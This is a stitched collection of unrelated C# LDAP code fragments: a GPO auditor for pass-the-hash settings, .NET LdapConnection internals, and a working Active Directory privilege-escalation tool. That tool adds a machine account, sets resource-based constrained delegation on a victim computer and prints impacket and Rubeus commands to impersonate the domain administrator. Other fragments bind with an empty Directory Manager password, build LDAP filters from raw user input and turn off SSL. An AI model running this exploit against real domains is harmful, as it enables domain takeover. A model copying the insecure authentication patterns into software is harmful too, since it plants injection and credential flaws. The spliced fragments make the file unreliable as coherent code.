System.DirectoryServices.Protocols.LdapConnection connection = null; connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; try { connection.Bind(); } catch { Console.WriteLine("The domain controller cannot be contacted. Exiting...\n"); return; } SearchRequest requestGUID = null; if (string.Equals(searchScope, "SubTree")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null); } else if (string.Equals(searchScope, "OneLevel")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null); } else if (string.Equals(searchScope, "Base")) { requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null); } SearchResponse responseGUID = null; try { responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID); } catch { Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n"); return; } if (!string.IsNullOrEmpty(Options.searchBase)) { string adPath = "LDAP://" + domain + searchBase; if (!DirectoryEntry.Exists(adPath)) { Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath); return; } } Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain); foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries) { try { var requestAttributes = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null); var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes); foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries) { try { string displayName = entry.Attributes["displayName"][0].ToString(); string name = entry.Attributes["name"][0].ToString(); string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString(); string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf"; bool enableLUA = CheckEnableLUA(uncPathGptTmpl); if (enableLUA) { if (verbose) { Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name); } listEnableLUA.Add(name); } bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl); if (FilterAdministratorToken) { if (verbose) { Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name); } listFilterAdministratorToken.Add(name); } string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml"; bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML); if (LocalAccountTokenFilterPolicy) { if (verbose) { Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name); } listLocalAccountTokenFilterPolicy.Add(name); } bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl); if (SeDenyNetworkLogonRight) { if (verbose) { Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name); } listSeDenyNetworkLogonRight.Add(name); } bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl); if (SeDenyRemoteInteractiveLogonRight) { if (verbose) { Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name); } listSeDenyRemoteInteractiveLogonRight.Add(name); } } catch { Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n"); return; } } } catch { Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n"); return; } } Console.Write("\n[+] EnableLUA: \t\t\t\t"); foreach (var guid in listEnableLUA) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } //Console.Write("\n"); Console.Write("\n[+] FilterAdministratorToken: \t\t"); foreach (var guid in listFilterAdministratorToken) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] LocalAccountTokenFilterPolicy: \t"); foreach (var guid in listLocalAccountTokenFilterPolicy) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] SeDenyNetworkLogonRight: \t\t"); foreach (var guid in listSeDenyNetworkLogonRight) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t"); foreach (var guid in listSeDenyRemoteInteractiveLogonRight) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); }
private bool ProcessNotifyConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, IntPtr NewConnection, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUser, int ErrorCodeFromBind) { string NewDN = null; if (NewConnection != (IntPtr)0 && _callbackRoutine.NotifyNewConnection != null) { if (NewDNPtr != (IntPtr)0) { NewDN = Marshal.PtrToStringUni(NewDNPtr); } StringBuilder target = new StringBuilder(); target.Append(HostName); target.Append(":"); target.Append(PortNumber); LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(target.ToString()); NetworkCredential cred = ProcessSecAuthIdentity(SecAuthIdentity); LdapConnection tempNewConnection = null; LdapConnection tempReferralConnection = null; WeakReference reference = null; lock (LdapConnection.objectLock) { // if referrafromconnection handle is valid if (ReferralFromConnection != (IntPtr)0) { //check whether we have save it in the handle table before reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]); if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle) { // save this before and object has not been garbage collected yet. tempReferralConnection = (LdapConnection)reference.Target; } else { // connection has been garbage collected, we need to remove this one if (reference != null) { LdapConnection.handleTable.Remove(ReferralFromConnection); } // we don't have it yet, construct a new one tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection); // save it to the handle table LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection)); } } if (NewConnection != (IntPtr)0) { //check whether we have save it in the handle table before reference = (WeakReference)(LdapConnection.handleTable[NewConnection]); if (reference != null && reference.IsAlive && null != ((LdapConnection)reference.Target).ldapHandle) { // save this before and object has not been garbage collected yet. tempNewConnection = (LdapConnection)reference.Target; } else { // connection has been garbage collected, we need to remove this one if (reference != null) { LdapConnection.handleTable.Remove(NewConnection); } // we don't have it yet, construct a new one tempNewConnection = new LdapConnection(identifier, cred, _connection.AuthType, NewConnection); // save it to the handle table LdapConnection.handleTable.Add(NewConnection, new WeakReference(tempNewConnection)); } } } long tokenValue = (long)((uint)CurrentUser.LowPart + (((long)CurrentUser.HighPart) << 32)); bool value = _callbackRoutine.NotifyNewConnection(_connection, tempReferralConnection, NewDN, identifier, tempNewConnection, cred, tokenValue, ErrorCodeFromBind); if (value) { value = AddLdapHandleRef(tempNewConnection); if (value) { tempNewConnection.NeedDispose = true; } } return(value); } else { return(false); } }
private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref IntPtr ConnectionToUse) { ConnectionToUse = IntPtr.Zero; string NewDN = null; // user must have registered callback function Debug.Assert(_callbackRoutine.QueryForConnection != null); // user registers the QUERYFORCONNECTION callback if (_callbackRoutine.QueryForConnection != null) { if (NewDNPtr != (IntPtr)0) { NewDN = Marshal.PtrToStringUni(NewDNPtr); } StringBuilder target = new StringBuilder(); target.Append(HostName); target.Append(":"); target.Append(PortNumber); LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(target.ToString()); NetworkCredential cred = ProcessSecAuthIdentity(SecAuthIdentity); LdapConnection tempReferralConnection = null; WeakReference reference = null; // if referrafromconnection handle is valid if (ReferralFromConnection != (IntPtr)0) { lock (LdapConnection.objectLock) { //make sure first whether we have saved it in the handle table before reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]); if (reference != null && reference.IsAlive) { // save this before and object has not been garbage collected yet. tempReferralConnection = (LdapConnection)reference.Target; } else { if (reference != null) { // connection has been garbage collected, we need to remove this one LdapConnection.handleTable.Remove(ReferralFromConnection); } // we don't have it yet, construct a new one tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection); // save it to the handle table LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection)); } } } long tokenValue = (long)((uint)CurrentUserToken.LowPart + (((long)CurrentUserToken.HighPart) << 32)); LdapConnection con = _callbackRoutine.QueryForConnection(_connection, tempReferralConnection, NewDN, identifier, cred, tokenValue); if (null != con && null != con.ldapHandle && !con.ldapHandle.IsInvalid) { bool success = AddLdapHandleRef(con); if (success) { ConnectionToUse = con.ldapHandle.DangerousGetHandle(); } } return(0); } else { // user does not take ownership of the connection return(1); } }
private void GetResultsHelper(LdapPartialAsyncResult asyncResult) { LdapConnection connection = asyncResult._con; ResultAll resultType = ResultAll.LDAP_MSG_RECEIVED; if (asyncResult._resultStatus == ResultsStatus.CompleteResult) { resultType = ResultAll.LDAP_MSG_POLLINGALL; } try { ValueTask <DirectoryResponse> vt = connection.ConstructResponseAsync(asyncResult._messageID, LdapOperation.LdapSearch, resultType, asyncResult._requestTimeout, false, sync: true); Debug.Assert(vt.IsCompleted); SearchResponse response = (SearchResponse)vt.GetAwaiter().GetResult(); // This should only happen in the polling thread case. if (response == null) { // Only when request time out has not yet expiered. if ((asyncResult._startTime.Ticks + asyncResult._requestTimeout.Ticks) > DateTime.Now.Ticks) { // This is expected, just the client does not have the result yet . return; } else { // time out, now we need to throw proper exception throw new LdapException((int)LdapError.TimeOut, LdapErrorMappings.MapResultCode((int)LdapError.TimeOut)); } } if (asyncResult._response != null) { AddResult(asyncResult._response, response); } else { asyncResult._response = response; } // If search is done, set the flag. if (response.searchDone) { asyncResult._resultStatus = ResultsStatus.Done; } } catch (Exception exception) { if (exception is DirectoryOperationException directoryOperationException) { SearchResponse response = (SearchResponse)directoryOperationException.Response; if (asyncResult._response != null) { AddResult(asyncResult._response, response); } else { asyncResult._response = response; } // Set the response back to the exception so it holds all the results up to now. directoryOperationException.Response = asyncResult._response; } else if (exception is LdapException ldapException) { if (asyncResult._response != null) { // add previous retrieved entries if available if (asyncResult._response.Entries != null) { for (int i = 0; i < asyncResult._response.Entries.Count; i++) { ldapException.PartialResults.Add(asyncResult._response.Entries[i]); } } // add previous retrieved references if available if (asyncResult._response.References != null) { for (int i = 0; i < asyncResult._response.References.Count; i++) { ldapException.PartialResults.Add(asyncResult._response.References[i]); } } } } // Exception occurs, this operation is done. asyncResult._exception = exception; asyncResult._resultStatus = ResultsStatus.Done; // Need to abandon this request. LdapPal.CancelDirectoryAsyncOperation(connection._ldapHandle, asyncResult._messageID); } }
static void Main(string[] args) { if (args.Length < 2) { Usage(); return; } var arguments = new Dictionary <string, string>(); foreach (string argument in args) { int idx = argument.IndexOf('='); if (idx > 0) { arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1); } } if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm")) { Usage(); return; } String DomainController = arguments["dc"]; String Domain = arguments["domain"]; String new_MachineAccount = ""; String new_MachineAccount_password = ""; //添加的机器账户 if (arguments.ContainsKey("ma")) { new_MachineAccount = arguments["ma"]; } else { new_MachineAccount = RandomString(8); } //机器账户密码 if (arguments.ContainsKey("ma")) { new_MachineAccount_password = arguments["mp"]; } else { new_MachineAccount_password = RandomString(10); } String victimcomputer = arguments["tm"];; //需要进行提权的机器 String machine_account = new_MachineAccount; String sam_account = ""; String DistinguishedName = ""; if (machine_account.EndsWith("$")) { sam_account = machine_account; machine_account = machine_account.Substring(0, machine_account.Length - 1); } else { sam_account = machine_account + "$"; } String distinguished_name = DistinguishedName; String victim_distinguished_name = DistinguishedName; String[] DC_array = null; distinguished_name = "CN=" + machine_account + ",CN=Computers"; victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers"; DC_array = Domain.Split('.'); foreach (String DC in DC_array) { distinguished_name += ",DC=" + DC; victim_distinguished_name += ",DC=" + DC; } Console.WriteLine(victim_distinguished_name); Console.WriteLine("[+] Elevate permissions on " + victimcomputer); Console.WriteLine("[+] Domain = " + Domain); Console.WriteLine("[+] Domain Controller = " + DomainController); //Console.WriteLine("[+] Distinguished Name = " + distinguished_name); try{ //连接ldap System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389); //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录 System.DirectoryServices.Protocols.LdapConnection connection = null; //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc); connection = new System.DirectoryServices.Protocols.LdapConnection(identifier); connection.SessionOptions.Sealing = true; connection.SessionOptions.Signing = true; connection.Bind(); //通过ldap找计算机 System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain); myldapConnection.Path = "LDAP://" + victim_distinguished_name; myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure; System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection); search.Filter = "(CN=" + victimcomputer + ")"; string[] requiredProperties = new string[] { "samaccountname" }; foreach (String property in requiredProperties) { search.PropertiesToLoad.Add(property); } System.DirectoryServices.SearchResult result = null; try { result = search.FindOne(); } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } //添加机器并设置资源约束委派 if (result != null) { try { var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] { new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain), new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account), new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"), new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")), new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"), new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account) }); //添加机器账户 connection.SendRequest(request); Console.WriteLine("[+] New SAMAccountName = " + sam_account); Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added"); } catch (System.Exception ex) { Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)"); Console.WriteLine("[-] Exception: " + ex.Message); return; } // 获取新计算机对象的SID var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null); var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request); SecurityIdentifier sid = null; foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries) { try { sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0); Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value); } catch { Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting..."); return; } } //设置资源约束委派 String sec_descriptor = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")"; RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor); byte[] buffer = new byte[sd.BinaryLength]; sd.GetBinaryForm(buffer, 0); //测试sddl转换结果 //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0); //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All)); // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中 try { var change_request = new System.DirectoryServices.Protocols.ModifyRequest(); change_request.DistinguishedName = victim_distinguished_name; DirectoryAttributeModification modifymsDS = new DirectoryAttributeModification(); modifymsDS.Operation = DirectoryAttributeOperation.Replace; modifymsDS.Name = "msDS-AllowedToActOnBehalfOfOtherIdentity"; modifymsDS.Add(buffer); change_request.Modifications.Add(modifymsDS); connection.SendRequest(change_request); Console.WriteLine("[+] Exploit successfully!\n"); //打印利用方式 Console.WriteLine("[+] Use impacket to get priv!\n"); Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain); Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache"); Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain); Console.WriteLine("\n\n[+] Use Rubeus.exe to get priv!\n"); Console.WriteLine("\nRubeus.exe hash /user:{0} /password:{1} /domain:{2}", machine_account, new_MachineAccount_password, Domain); Console.WriteLine("\nRubeus.exe s4u /user:{0} /rc4:rc4_hmac /impersonateuser:administrator /msdsspn:cifs/{1}.{2} /ptt /dc:{3}", machine_account, victimcomputer, Domain, DomainController); Console.WriteLine("\npsexec.exe \\\\{0}.{1} cmd ", victimcomputer, Domain); Console.WriteLine("\n[+] Done.."); } catch (System.Exception ex) { Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException); Console.WriteLine("[!] Failed..."); return; } } } catch (System.Exception ex) { Console.WriteLine("[!] " + ex.Message + "\n[-] Exiting..."); return; } }
public LdapPartialAsyncResult(int messageID, AsyncCallback callbackRoutine, object state, bool partialResults, LdapConnection con, bool partialCallback, TimeSpan requestTimeout) : base(callbackRoutine, state, partialResults) { this.messageID = messageID; this.con = con; this.partialResults = true; this.partialCallback = partialCallback; this.requestTimeout = requestTimeout; this.startTime = DateTime.Now; }
//private string _path; //private string _filterAttribute; //private ILog log; //public LdapAuthentication(string path) //{ // _path = path; // log = LogManager.GetLogger(this.GetType()); //} public static bool IsAuthenticated(string username, string pwd) { //string domainAndUsername = (String.IsNullOrEmpty(domain) ? "" : @"\") + username; try { var credential = new NetworkCredential("cn=Directory Manager", ""); var entry = new LdapConnection("10.243.1.123") { AuthType = AuthType.Basic, Credential = credential }; entry.SessionOptions.ProtocolVersion = 3; entry.Bind(); var searchRequest = new SearchRequest("dc=gmcc,dc=net", "uid=" + username, SearchScope.Subtree); var a = (SearchResponse)entry.SendRequest(searchRequest, new TimeSpan(0, 0, 0, 30)); if (a.Entries.Count == 0) return false; try { var newC = new NetworkCredential(a.Entries[0].DistinguishedName, pwd); entry.Credential = newC; entry.Bind(); } catch { return false; } return true; } catch (Exception ex) { throw new Exception("Error authenticating user. " + ex.Message); } }
public User authenticateBoundary(string email, string password) { ldapId = new LdapDirectoryIdentifier(HOST, PORT); network = new NetworkCredential(DN.Replace("{0}", email), password); using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic)) { try { connection.SessionOptions.SecureSocketLayer = false; connection.SessionOptions.ProtocolVersion = 3; connection.Bind(); connection.Dispose(); return queryLdap(email); } catch (LdapException ex) { throw new BusinessException(ex.Message); } catch (Exception e) { throw new PlatformException(e.Message); } } }